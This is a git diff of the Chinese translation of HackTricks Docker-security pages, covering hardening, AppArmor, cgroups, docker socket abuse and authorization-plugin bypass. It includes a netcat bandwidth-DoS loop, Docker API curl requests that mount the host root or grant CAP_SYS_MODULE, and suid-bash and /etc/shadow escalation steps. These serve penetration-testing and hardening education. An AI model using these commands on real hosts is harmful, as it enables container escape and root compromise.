+fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); +goto finish; +} - /* Infinite loop to process the client requests */ - for (;;) { - /* Process requests */ - r = sd_bus_process(bus, NULL); - if (r < 0) { - fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); - goto finish; - } - if (r > 0) /* we processed a request, try to process another one, right-away */ - continue; +/* Infinite loop to process the client requests */ +for (;;) { +/* Process requests */ +r = sd_bus_process(bus, NULL); +if (r < 0) { +fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); +goto finish; +} +if (r > 0) /* we processed a request, try to process another one, right-away */ +continue; - /* Wait for the next request to process */ - r = sd_bus_wait(bus, (uint64_t) -1); - if (r < 0) { - fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); - goto finish; - } - } +/* Wait for the next request to process */ +r = sd_bus_wait(bus, (uint64_t) -1); +if (r < 0) { +fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); +goto finish; +} +} finish: - sd_bus_slot_unref(slot); - sd_bus_unref(bus); +sd_bus_slot_unref(slot); +sd_bus_unref(bus); - return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; +return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; } ``` - -## References +## 参考 - [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 35981f069..699be0aa3 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## **基本 Docker 引擎安全性** +## **基本的 Docker 引擎安全性** **Docker 引擎** 利用 Linux 内核的 **Namespaces** 和 **Cgroups** 来隔离容器,提供基本的安全层。通过 **Capabilities dropping**、**Seccomp** 和 **SELinux/AppArmor** 提供额外的保护,增强容器隔离。一个 **auth plugin** 可以进一步限制用户操作。 @@ -82,7 +82,7 @@ Docker 镜像签名确保容器中使用的镜像的安全性和完整性。以 ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` -在切换 Docker 主机时,必须移动根密钥和存储库密钥以维持操作。 +当切换 Docker 主机时,必须移动根和存储库密钥以维持操作。 ## 容器安全特性 @@ -97,8 +97,8 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private **命名空间** - **目的**:确保进程、网络和文件系统等资源的隔离。特别是在 Docker 中,命名空间使容器的进程与主机和其他容器分开。 -- **`unshare` 的使用**:`unshare` 命令(或底层系统调用)用于创建新的命名空间,提供额外的隔离层。然而,虽然 Kubernetes 本身并不阻止这一点,但 Docker 确实会。 -- **限制**:创建新命名空间并不允许进程恢复到主机的默认命名空间。要穿透主机命名空间,通常需要访问主机的 `/proc` 目录,使用 `nsenter` 进行进入。 +- **`unshare` 的使用**:`unshare` 命令(或底层系统调用)用于创建新的命名空间,提供额外的隔离层。然而,虽然 Kubernetes 本身并不阻止这一点,但 Docker 是会的。 +- **限制**:创建新命名空间不允许进程恢复到主机的默认命名空间。要穿透主机命名空间,通常需要访问主机的 `/proc` 目录,使用 `nsenter` 进行进入。 **控制组 (CGroups)** @@ -129,7 +129,7 @@ Docker 有一个可以激活的模板:[https://github.com/moby/moby/tree/maste ### Namespaces -**Namespaces** 是 Linux 内核的一个特性,它**将内核资源进行分区**,使得一组**进程****看到**一组**资源**,而**另一**组**进程**看到**不同**的资源集。该特性通过为一组资源和进程使用相同的命名空间来工作,但这些命名空间指向不同的资源。资源可以存在于多个空间中。 +**Namespaces** 是 Linux 内核的一个特性,它**将内核资源进行分区**,使得一组**进程****看到**一组**资源**,而**另一**组**进程**看到**不同**的资源。该特性通过为一组资源和进程使用相同的命名空间来工作,但这些命名空间指向不同的资源。资源可以存在于多个空间中。 Docker 利用以下 Linux 内核命名空间来实现容器隔离: @@ -147,8 +147,8 @@ namespaces/ ### cgroups -Linux 内核特性**cgroups**提供了**限制资源如 CPU、内存、IO、网络带宽**等的能力,适用于一组进程。Docker 允许使用 cgroup 特性创建容器,从而实现对特定容器的资源控制。\ -以下是一个用户空间内存限制为 500m,内核内存限制为 50m,CPU 共享为 512,blkio-weight 为 400 的容器。CPU 共享是控制容器 CPU 使用的比例。它的默认值为 1024,范围在 0 到 1024 之间。如果三个容器的 CPU 共享均为 1024,则在 CPU 资源争用的情况下,每个容器最多可以占用 33% 的 CPU。blkio-weight 是控制容器 IO 的比例。它的默认值为 500,范围在 10 到 1000 之间。 +Linux 内核特性**cgroups**提供了**限制资源如 CPU、内存、IO、网络带宽**的能力,适用于一组进程。Docker 允许使用 cgroup 特性创建容器,从而实现对特定容器的资源控制。\ +以下是一个用户空间内存限制为 500m,内核内存限制为 50m,CPU 共享为 512,blkio-weight 为 400 的容器。CPU 共享是控制容器 CPU 使用的比率。它的默认值为 1024,范围在 0 到 1024 之间。如果三个容器的 CPU 共享都是 1024,则在 CPU 资源争用的情况下,每个容器最多可以占用 33% 的 CPU。blkio-weight 是控制容器 IO 的比率。它的默认值为 500,范围在 10 到 1000 之间。 ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -176,7 +176,7 @@ cgroups.md ### Docker中的Seccomp -这是一项安全特性,允许Docker**限制可以在容器内使用的系统调用**: +这是一项安全功能,允许Docker**限制可以在容器内使用的系统调用**: {{#ref}} seccomp.md @@ -192,7 +192,7 @@ apparmor.md ### Docker中的SELinux -- **标记系统**:SELinux为每个进程和文件系统对象分配一个唯一的标签。 +- **标记系统**:SELinux为每个进程和文件系统对象分配唯一标签。 - **策略执行**:它执行定义进程标签可以对系统内其他标签执行哪些操作的安全策略。 - **容器进程标签**:当容器引擎启动容器进程时,通常会分配一个受限的SELinux标签,通常为`container_t`。 - **容器内文件标记**:容器内的文件通常标记为`container_file_t`。 @@ -229,7 +229,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` -- 带宽 DoS +- 带宽DoS ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` @@ -237,7 +237,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; ### --privileged 标志 -在以下页面中,您可以了解 **`--privileged` 标志的含义**: +在以下页面中,您可以了解 **`--privileged` 标志意味着什么**: {{#ref}} docker-privileged.md @@ -247,7 +247,7 @@ docker-privileged.md #### no-new-privileges -如果您正在运行一个容器,攻击者设法以低权限用户身份获得访问权限。如果您有一个 **配置错误的 suid 二进制文件**,攻击者可能会滥用它并 **在容器内提升权限**。这可能允许他逃离容器。 +如果您正在运行一个容器,攻击者设法以低权限用户身份获得访问权限。如果您有一个 **配置错误的 suid 二进制文件**,攻击者可能会利用它并 **在容器内提升权限**。这可能允许他逃离容器。 启用 **`no-new-privileges`** 选项运行容器将 **防止这种权限提升**。 ``` @@ -309,28 +309,28 @@ file: ./my_secret_file.txt ### gVisor -**gVisor** 是一个应用内核,使用 Go 编写,实现了 Linux 系统表面的相当大一部分。它包括一个名为 `runsc` 的 [Open Container Initiative (OCI)](https://www.opencontainers.org) 运行时,提供了 **应用程序与主机内核之间的隔离边界**。`runsc` 运行时与 Docker 和 Kubernetes 集成,使得运行沙箱容器变得简单。 +**gVisor** 是一个应用内核,使用 Go 编写,实施了 Linux 系统表面的相当大一部分。它包括一个名为 `runsc` 的 [Open Container Initiative (OCI)](https://www.opencontainers.org) 运行时,提供了 **应用程序与主机内核之间的隔离边界**。`runsc` 运行时与 Docker 和 Kubernetes 集成,使得运行沙箱容器变得简单。 {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** 是一个开源社区,致力于构建一个安全的容器运行时,使用轻量级虚拟机,感觉和性能像容器,但提供 **使用硬件虚拟化技术作为第二道防线的更强工作负载隔离**。 +**Kata Containers** 是一个开源社区,致力于构建一个安全的容器运行时,使用轻量级虚拟机,感觉和表现像容器,但提供 **使用硬件虚拟化技术作为第二道防线的更强工作负载隔离**。 {% embed url="https://katacontainers.io/" %} ### 总结提示 - **不要使用 `--privileged` 标志或在容器内挂载** [**Docker 套接字**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker 套接字允许生成容器,因此这是完全控制主机的简单方法,例如,通过使用 `--privileged` 标志运行另一个容器。 -- **不要在容器内以 root 身份运行。使用** [**不同用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器中的 root 与主机上的 root 是相同的,除非通过用户命名空间重新映射。它仅受到 Linux 命名空间、能力和 cgroups 的轻微限制。 +- **不要在容器内以 root 身份运行。使用** [**不同用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器内的 root 与主机上的相同,除非通过用户命名空间重新映射。它仅受到 Linux 命名空间、能力和 cgroups 的轻微限制。 - [**丢弃所有能力**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`),仅启用所需的能力** (`--cap-add=...`)。许多工作负载不需要任何能力,添加它们会增加潜在攻击的范围。 -- [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) 防止进程获得更多权限,例如通过 suid 二进制文件。 +- [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)以防止进程获得更多权限,例如通过 suid 二进制文件。 - [**限制容器可用的资源**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** 资源限制可以保护机器免受拒绝服务攻击。 -- **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**、** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(或 SELinux)** 配置文件,以将容器可用的操作和系统调用限制到最低要求。 -- **使用** [**官方 Docker 镜像**](https://docs.docker.com/docker-hub/official_images/) **并要求签名**,或基于它们构建自己的镜像。不要继承或使用 [后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) 镜像。还要将 root 密钥、密码短语存放在安全的地方。Docker 计划通过 UCP 管理密钥。 +- **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**、** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(或 SELinux)** 配置文件,以将容器可用的操作和系统调用限制到最低要求。 +- **使用** [**官方 docker 镜像**](https://docs.docker.com/docker-hub/official_images/) **并要求签名**,或基于它们构建自己的镜像。不要继承或使用 [后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) 镜像。还要将 root 密钥、密码短语存放在安全的地方。Docker 计划通过 UCP 管理密钥。 - **定期** **重建** 镜像以 **应用安全补丁到主机和镜像。** - 明智地管理您的 **秘密**,使攻击者难以访问它们。 -- 如果您 **暴露 Docker 守护进程,请使用 HTTPS**,并进行客户端和服务器身份验证。 +- 如果您 **暴露 docker 守护进程,请使用 HTTPS**,并进行客户端和服务器身份验证。 - 在您的 Dockerfile 中,**优先使用 COPY 而不是 ADD**。ADD 会自动提取压缩文件,并可以从 URL 复制文件。COPY 没有这些功能。尽可能避免使用 ADD,以免受到通过远程 URL 和 Zip 文件的攻击。 - 为每个微服务 **使用单独的容器** - **不要在容器内放置 ssh**,可以使用 “docker exec” 连接到容器。 @@ -338,7 +338,7 @@ file: ./my_secret_file.txt ## Docker 突破 / 权限提升 -如果您 **在 Docker 容器内** 或者您有权访问 **docker 组中的用户**,您可以尝试 **逃逸并提升权限**: +如果您 **在 docker 容器内**,或者您有权访问 **docker 组中的用户**,您可以尝试 **逃逸并提升权限**: {{#ref}} docker-breakout-privilege-escalation/ @@ -346,7 +346,7 @@ docker-breakout-privilege-escalation/ ## Docker 身份验证插件绕过 -如果您可以访问 Docker 套接字或有权访问 **docker 组中的用户,但您的操作受到 Docker 身份验证插件的限制**,请检查您是否可以 **绕过它:** +如果您可以访问 docker 套接字或有权访问 **docker 组中的用户,但您的操作受到 docker 身份验证插件的限制**,请检查您是否可以 **绕过它:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -355,7 +355,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## 加固 Docker - 工具 [**docker-bench-security**](https://github.com/docker/docker-bench-security) 是一个脚本,检查在生产中部署 Docker 容器的数十个常见最佳实践。所有测试都是自动化的,基于 [CIS Docker 基准 v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\ -您需要从运行 Docker 的主机或具有足够权限的容器中运行该工具。查找 **如何在 README 中运行它:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 +您需要从运行 docker 的主机或具有足够权限的容器中运行该工具。查找 **如何在 README 中运行它:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 ## 参考 @@ -373,5 +373,4 @@ authz-and-authn-docker-access-authorization-plugin.md - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 927ce2f13..6b3b7e0de 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -有些情况下你只拥有 **docker socket 的访问权限**,并且想要利用它来 **提升权限**。某些操作可能会非常可疑,你可能想要避免它们,因此在这里你可以找到一些有用的标志来提升权限: +有些情况下你只需**访问 docker socket**,并希望利用它来**提升权限**。某些操作可能非常可疑,你可能想要避免它们,因此在这里你可以找到一些有用的标志来提升权限: ### 通过挂载 -你可以在以 root 身份运行的容器中 **挂载** 文件系统的不同部分并 **访问** 它们。\ -你也可以 **利用挂载来提升容器内的权限**。 +你可以在以 root 身份运行的容器中**挂载**文件系统的不同部分并**访问**它们。\ +你也可以**利用挂载来提升容器内的权限**。 -- **`-v /:/host`** -> 在容器中挂载主机文件系统,以便你可以 **读取主机文件系统**。 -- 如果你想要 **感觉像是在主机上**,但实际上在容器中,你可以使用以下标志禁用其他防御机制: +- **`-v /:/host`** -> 在容器中挂载主机文件系统,以便你可以**读取主机文件系统**。 +- 如果你想要**感觉像是在主机上**但实际上在容器中,你可以使用以下标志禁用其他防御机制: - `--privileged` - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -20,24 +20,24 @@ - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 这与前面的方法类似,但这里我们是 **挂载设备磁盘**。然后,在容器内运行 `mount /dev/sda1 /mnt`,你可以在 `/mnt` 中 **访问** **主机文件系统**。 +- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 这与前面的方法类似,但这里我们是**挂载设备磁盘**。然后,在容器内运行 `mount /dev/sda1 /mnt`,你可以在 `/mnt` 中**访问**主机文件系统。 - 在主机上运行 `fdisk -l` 找到要挂载的 `` 设备。 -- **`-v /tmp:/host`** -> 如果由于某种原因你只能 **挂载主机的某个目录**,并且你可以在主机内访问它。挂载它并在挂载目录中创建一个 **`/bin/bash`** 具有 **suid** 权限,以便你可以 **从主机执行它并提升到 root**。 +- **`-v /tmp:/host`** -> 如果由于某种原因你只能**挂载主机的某个目录**并且你可以在主机内访问它。挂载它并在挂载目录中创建一个带有**suid**的**`/bin/bash`**,这样你就可以**从主机执行它并提升到 root**。 > [!NOTE] -> 请注意,也许你无法挂载 `/tmp` 文件夹,但你可以挂载一个 **不同的可写文件夹**。你可以使用以下命令找到可写目录:`find / -writable -type d 2>/dev/null` +> 请注意,也许你无法挂载文件夹 `/tmp`,但你可以挂载一个**不同的可写文件夹**。你可以使用以下命令找到可写目录:`find / -writable -type d 2>/dev/null` > > **请注意,并非所有 Linux 机器上的目录都支持 suid 位!** 要检查哪些目录支持 suid 位,请运行 `mount | grep -v "nosuid"`。例如,通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup` 和 `/var/lib/lxcfs` 不支持 suid 位。 > -> 还要注意,如果你可以 **挂载 `/etc`** 或任何其他 **包含配置文件** 的文件夹,你可以在 docker 容器中以 root 身份更改它们,以便 **在主机中利用它们** 并提升权限(可能修改 `/etc/shadow`)。 +> 还要注意,如果你可以**挂载 `/etc`** 或任何其他**包含配置文件**的文件夹,你可以在 docker 容器中以 root 身份更改它们,以便在主机中**利用它们**并提升权限(可能修改 `/etc/shadow`)。 ### 从容器中逃逸 -- **`--privileged`** -> 使用此标志,你 [移除容器的所有隔离](docker-privileged.md#what-affects)。查看技术以 [以 root 身份从特权容器中逃逸](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)。 -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> 为了 [通过能力提升权限](../linux-capabilities.md),**将该能力授予容器** 并禁用可能阻止漏洞工作的其他保护方法。 +- **`--privileged`** -> 使用此标志,你可以[移除容器的所有隔离](docker-privileged.md#what-affects)。查看技术以[以 root 身份从特权容器中逃逸](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)。 +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> 为了[通过能力提升](../linux-capabilities.md),**将该能力授予容器**并禁用可能阻止漏洞工作的其他保护方法。 ### Curl -在本页中,我们讨论了使用 docker 标志提升权限的方法,你可以在页面中找到 **使用 curl 命令滥用这些方法的方式**: +在本页中,我们讨论了使用 docker 标志提升权限的方法,你可以在页面中找到**使用 curl 命令滥用这些方法的方式**: {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index 990dfd159..783dca540 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -39,22 +39,22 @@ aa-mergeprof #used to merge the policies - 为了指示受影响的可执行文件,**绝对路径和通配符**被允许用于指定文件。 - 要指示二进制文件对**文件**的访问,可以使用以下**访问控制**: -- **r** (读取) -- **w** (写入) -- **m** (将内存映射为可执行) -- **k** (文件锁定) -- **l** (创建硬链接) -- **ix** (执行另一个程序,新程序继承策略) -- **Px** (在另一个配置文件下执行,清理环境后) -- **Cx** (在子配置文件下执行,清理环境后) -- **Ux** (在无约束下执行,清理环境后) -- **变量**可以在配置文件中定义,并可以从配置文件外部进行操作。例如:@{PROC} 和 @{HOME} (将 #include \ 添加到配置文件) +- **r**(读取) +- **w**(写入) +- **m**(将内存映射为可执行) +- **k**(文件锁定) +- **l**(创建硬链接) +- **ix**(执行另一个程序,新程序继承策略) +- **Px**(在另一个配置文件下执行,清理环境后) +- **Cx**(在子配置文件下执行,清理环境后) +- **Ux**(在无约束下执行,清理环境后) +- **变量**可以在配置文件中定义,并可以从配置文件外部进行操作。例如:@{PROC} 和 @{HOME}(将 #include \ 添加到配置文件中) - **支持拒绝规则以覆盖允许规则**。 ### aa-genprof -要轻松开始创建配置文件,apparmor 可以帮助您。可以让**apparmor 检查二进制文件执行的操作,然后让您决定要允许或拒绝哪些操作**。\ -您只需运行: +为了轻松开始创建配置文件,apparmor 可以帮助你。可以让**apparmor 检查二进制文件执行的操作,然后让你决定要允许或拒绝哪些操作**。\ +你只需运行: ```bash sudo aa-genprof /path/to/binary ``` @@ -95,7 +95,7 @@ sudo aa-easyprof /path/to/binary } ``` > [!NOTE] -> 请注意,在创建的配置文件中,默认情况下不允许任何操作,因此所有操作都被拒绝。您需要添加类似 `/etc/passwd r,` 的行,以允许二进制文件读取 `/etc/passwd`,例如。 +> 请注意,默认情况下,在创建的配置文件中没有任何内容被允许,因此所有内容都被拒绝。您需要添加类似 `/etc/passwd r,` 的行,以允许二进制文件读取 `/etc/passwd`,例如。 您可以然后 **enforce** 新的配置文件,使用 ```bash @@ -103,7 +103,7 @@ sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` ### 从日志修改配置文件 -以下工具将读取日志并询问用户是否要允许某些检测到的禁止操作: +以下工具将读取日志并询问用户是否希望允许某些检测到的禁止操作: ```bash sudo aa-logprof ``` @@ -120,7 +120,7 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` ## 日志 -示例 **AUDIT** 和 **DENIED** 日志来自 _/var/log/audit/audit.log_ 的可执行文件 **`service_bin`**: +来自 _/var/log/audit/audit.log_ 的可执行文件 **`service_bin`** 的 **AUDIT** 和 **DENIED** 日志示例: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 @@ -168,9 +168,9 @@ docker-default - **访问**所有**网络** - **未定义能力**(但是,一些能力将来自包含基本基础规则,即 #include \) - **写入**任何**/proc** 文件**不允许** -- 其他**/proc**和**/sys**的**子目录**/**文件**被**拒绝**读/写/锁/链接/执行访问 +- 其他/**proc** 和/**sys** 的**子目录**/**文件**被**拒绝**读/写/锁/链接/执行访问 - **挂载****不允许** -- **Ptrace**只能在被**相同 apparmor 配置文件**限制的进程上运行 +- **Ptrace** 只能在被**相同 apparmor 配置文件**限制的进程上运行 一旦你**运行一个 docker 容器**,你应该看到以下输出: ```bash @@ -200,7 +200,7 @@ docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security- ### 示例 -(示例来自 [**这里**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) +(示例来自 [**这里**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) 为了说明 AppArmor 的功能,我创建了一个新的 Docker 配置文件 “mydocker”,并添加了以下行: ``` @@ -210,7 +210,7 @@ deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` sudo apparmor_parser -r -W mydocker ``` -要列出配置文件,我们可以执行以下命令。下面的命令列出了我新的 AppArmor 配置文件。 +要列出配置文件,我们可以执行以下命令。下面的命令列出了我的新 AppArmor 配置文件。 ``` $ sudo apparmor_status | grep mydocker mydocker diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 2051939f6..2fe278f29 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -16,15 +16,15 @@ Docker Auth 插件是 **外部** **插件**,您可以使用它们来 **允许/ ![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) -每个发送到插件的请求 **包括经过身份验证的用户、HTTP 头和请求/响应主体**。只有 **用户名** 和 **使用的身份验证方法** 被传递给插件。最重要的是,**不** 会传递用户 **凭据** 或令牌。最后,**并非所有请求/响应主体都发送** 到授权插件。只有那些 `Content-Type` 为 `text/*` 或 `application/json` 的请求/响应主体会被发送。 +每个发送到插件的请求 **包括经过身份验证的用户、HTTP 头和请求/响应体**。只有 **用户名** 和 **使用的身份验证方法** 被传递给插件。最重要的是,**不** 会传递用户 **凭据** 或令牌。最后,**并非所有请求/响应体都会发送** 到授权插件。只有那些 `Content-Type` 为 `text/*` 或 `application/json` 的请求/响应体会被发送。 -对于可能劫持 HTTP 连接的命令(`HTTP Upgrade`),如 `exec`,授权插件仅在初始 HTTP 请求时被调用。一旦插件批准命令,后续流程不再应用授权。具体来说,流数据不会传递给授权插件。对于返回分块 HTTP 响应的命令,如 `logs` 和 `events`,仅 HTTP 请求会发送到授权插件。 +对于可能劫持 HTTP 连接的命令(`HTTP Upgrade`),如 `exec`,授权插件仅在初始 HTTP 请求时被调用。一旦插件批准命令,后续流程不再应用授权。具体来说,流数据不会传递给授权插件。对于返回分块 HTTP 响应的命令,如 `logs` 和 `events`,仅发送 HTTP 请求到授权插件。 在请求/响应处理期间,一些授权流程可能需要对 Docker 守护进程进行额外查询。为了完成这些流程,插件可以像普通用户一样调用守护进程 API。为了启用这些额外查询,插件必须提供管理员配置适当身份验证和安全策略的手段。 ## 多个插件 -您负责将 **插件** 注册为 Docker 守护进程 **启动** 的一部分。您可以安装 **多个插件并将它们链接在一起**。这个链可以是有序的。每个对守护进程的请求按顺序通过链。只有当 **所有插件都授予对资源的访问** 时,访问才会被授予。 +您负责将 **插件** 注册为 Docker 守护进程 **启动** 的一部分。您可以安装 **多个插件并将它们链接在一起**。这个链可以是有序的。每个请求按顺序通过链传递。只有当 **所有插件都授予访问** 资源时,访问才会被授予。 # 插件示例 @@ -122,7 +122,7 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it ### HostConfig 中的 Binds -按照与 **根中的 Binds** 相同的指示,向 Docker API 执行此 **请求**: +按照与 **根中的 Binds** 相同的指示,向 Docker API 发送此 **请求**: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` @@ -140,7 +140,7 @@ curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d ' ``` ## 未检查的 JSON 属性 -系统管理员在配置 docker 防火墙时,**可能忘记了某个参数的重要属性**,例如在 "**HostConfig**" 中的 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) 中的 "**Capabilities**"。在以下示例中,可以利用此错误配置创建并运行具有 **SYS_MODULE** 能力的容器: +系统管理员在配置 docker 防火墙时,**可能忘记了某个参数的重要属性**,例如 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) 中的 "**Capabilities**" 在 "**HostConfig**" 内。以下示例中,可以利用此错误配置创建并运行具有 **SYS_MODULE** 能力的容器: ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -151,11 +151,11 @@ capsh --print #You can abuse the SYS_MODULE capability ``` > [!NOTE] -> **`HostConfig`** 通常是包含 **有趣的** **权限** 的关键,可以用来逃离容器。然而,正如我们之前讨论的,注意在外部使用 Binds 也有效,并且可能允许你绕过限制。 +> **`HostConfig`** 通常是包含 **有趣的** **权限** 以逃离容器的关键。然而,正如我们之前讨论的,注意在外部使用 Binds 也有效,并可能允许您绕过限制。 ## 禁用插件 -如果 **sysadmin** **忘记** **禁止** 禁用 **插件** 的能力,你可以利用这一点来完全禁用它! +如果 **sysadmin** **忘记** **禁止** 禁用 **插件** 的能力,您可以利用这一点完全禁用它! ```bash docker plugin list #Enumerate plugins diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index 60326927f..11851f4a8 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -6,7 +6,7 @@ **Linux 控制组**,或称 **cgroups**,是 Linux 内核的一个特性,允许在进程组之间分配、限制和优先处理系统资源,如 CPU、内存和磁盘 I/O。它们提供了一种 **管理和隔离资源使用** 的机制,适用于资源限制、工作负载隔离和不同进程组之间的资源优先级等目的。 -**cgroups 有两个版本**:版本 1 和版本 2。两者可以在系统上同时使用。主要区别在于 **cgroups 版本 2** 引入了 **层次化的树状结构**,使得在进程组之间进行更细致和详细的资源分配成为可能。此外,版本 2 还带来了各种增强功能,包括: +有 **两个版本的 cgroups**:版本 1 和版本 2。两者可以在系统上同时使用。主要区别在于 **cgroups 版本 2** 引入了 **层次化的树状结构**,使得在进程组之间进行更细致和详细的资源分配成为可能。此外,版本 2 还带来了各种增强功能,包括: 除了新的层次化组织,cgroups 版本 2 还引入了 **其他几个变化和改进**,例如对 **新资源控制器** 的支持、更好的遗留应用程序支持和性能提升。 @@ -33,21 +33,21 @@ $ cat /proc/self/cgroup - **数字 1**:也是 cgroups v1,但仅用于管理目的(由例如 systemd 设置),并且没有控制器。 - **数字 0**:表示 cgroups v2。没有列出控制器,这一行仅在仅运行 cgroups v2 的系统上存在。 - **名称是层次结构的**,类似于文件路径,指示不同 cgroups 之间的结构和关系。 -- **像 /user.slice 或 /system.slice 的名称** 指定 cgroups 的分类,user.slice 通常用于由 systemd 管理的登录会话,而 system.slice 用于系统服务。 +- **像 /user.slice 或 /system.slice 的名称** 指定了 cgroups 的分类,user.slice 通常用于由 systemd 管理的登录会话,而 system.slice 用于系统服务。 ### 查看 cgroups 文件系统通常用于访问 **cgroups**,与传统用于内核交互的 Unix 系统调用接口不同。要调查 shell 的 cgroup 配置,应检查 **/proc/self/cgroup** 